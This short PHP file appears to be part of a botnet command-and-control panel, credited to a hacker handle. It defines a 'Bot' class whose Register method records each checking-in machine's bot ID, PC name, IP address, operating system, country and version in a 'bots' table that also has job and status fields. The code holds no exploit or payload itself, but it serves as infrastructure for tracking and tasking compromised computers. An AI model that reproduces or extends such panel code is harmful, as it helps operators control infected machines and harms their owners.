<?php
/**
 * Bot Class
 * @author haRd (w3-hack) / mod by toward
 */
class Bot
{
	private function LookUpCountry($code)
	{
		$query = "SELECT country FROM countries WHERE code = ?";
		$execute = Database::getObject($query, $code);
		if ($execute)
		{
			return $execute['country'];
		} 
		else
			return "Sonstiges Land";
	}

	public function Register($botid, $version, $os, $country, $pcname)
	{
		$ip = $_SERVER['REMOTE_ADDR'];
		$time = time();
		$query = "INSERT INTO bots (id, pcname, botid, ip, os, country, version, job, status, time) VALUES 
		                           (NULL, ?, ?, ?, ?, ?, ?, NULL, 1, ?)";
		$param = array($pcname, $botid, $ip, $os, $this->LookUpCountry($country), $version, $time);

		return Database::execute($query, $param);
	}
}
?>